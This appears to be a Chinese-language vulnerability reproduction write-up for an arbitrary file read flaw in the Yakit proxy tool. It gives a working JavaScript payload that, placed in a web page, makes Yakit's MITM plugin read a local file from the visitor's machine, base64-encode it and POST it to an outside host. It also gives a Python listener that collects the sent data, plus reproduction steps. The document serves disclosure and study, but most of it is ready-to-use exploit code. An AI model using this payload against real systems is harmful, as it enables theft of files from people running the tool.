79 lines
2.3 KiB
Markdown
79 lines
2.3 KiB
Markdown
详情可参考原文 有截图复现
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原文链接:https://mp.weixin.qq.com/s/IQekVs-UU2Slh6V_frpaug
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前言:
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yakit是近年新兴的一个BurpSuite平替工具,和burp的区别就在于数据包放过去不用配置ip端口协议这些,但是yakit跑起来感觉卡卡的,远不如burp那么流畅,近期yakit爆出了一个任意文件读取漏洞,此漏洞通过在网页嵌入js代码实现读取yakit使用者设备上的文件
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触发版本:
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引擎版本< Yaklang 1.2.4-sp2
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漏洞条件:
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使用yakit的MITM代理并且启用任意插件
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Pyload:
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<script>
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const xhr = new XMLHttpRequest();
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xhr.open("POST", "http://yakit.com/filesubmit");
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xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
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xhr.send(`file={{base64enc(file(C:\\Windows\\System32\\drivers\\etc\\hosts))}}`);
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</script>
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```
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监听脚本
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#! /bin/python3
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import socket
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# 监听地址和端口
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host = '0.0.0.0'
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port = 23800
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# 创建socket服务器
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server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
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# 绑定并监听端口
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server.bind((host, port))
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server.listen()
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# 接收连接并监听请求
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print("Listening...")
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while True:
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# 接收客户端连接请求
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client, address = server.accept()
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print(f"Connected by {address}")
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# 读取客户端请求数据
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request = ''
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while True:
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input_data = client.recv(1024).decode('utf-8')
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request += input_data
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if len(input_data) < 1024:
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break
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# 提取请求头部
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headers = request.split('\n')
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print("Received headers:")
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for header in headers:
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print(header)
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# 关闭客户端连接
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client.close()
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```
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复现开始:
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创建一个html页面并插入payload
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启用MITM代理,不启用插件进行访问:
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https://mmbiz.qpic.cn/sz_mmbiz_png/OF9Ieq8TATc71LlcBt5FGOn2ibomGw7wMXX7dh9j86aZ7JA0WMoxwHSDdAwnMVSZLoF09zuiamTpkibBtLto8y8KA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
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启用MITM代理并启用插件进行访问:
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https://mmbiz.qpic.cn/sz_mmbiz_png/OF9Ieq8TATc71LlcBt5FGOn2ibomGw7wM1RvwO5nnYhpX3aKZeCDdziaCEcOSDfbIcu2wNe27x7aTsPgBXo8KTsQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
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原理:yakit默认不会对经过MITM代理的流量中的fuzztag进行解析,但是经过插件时会被解析,所以这也是利用限制。 |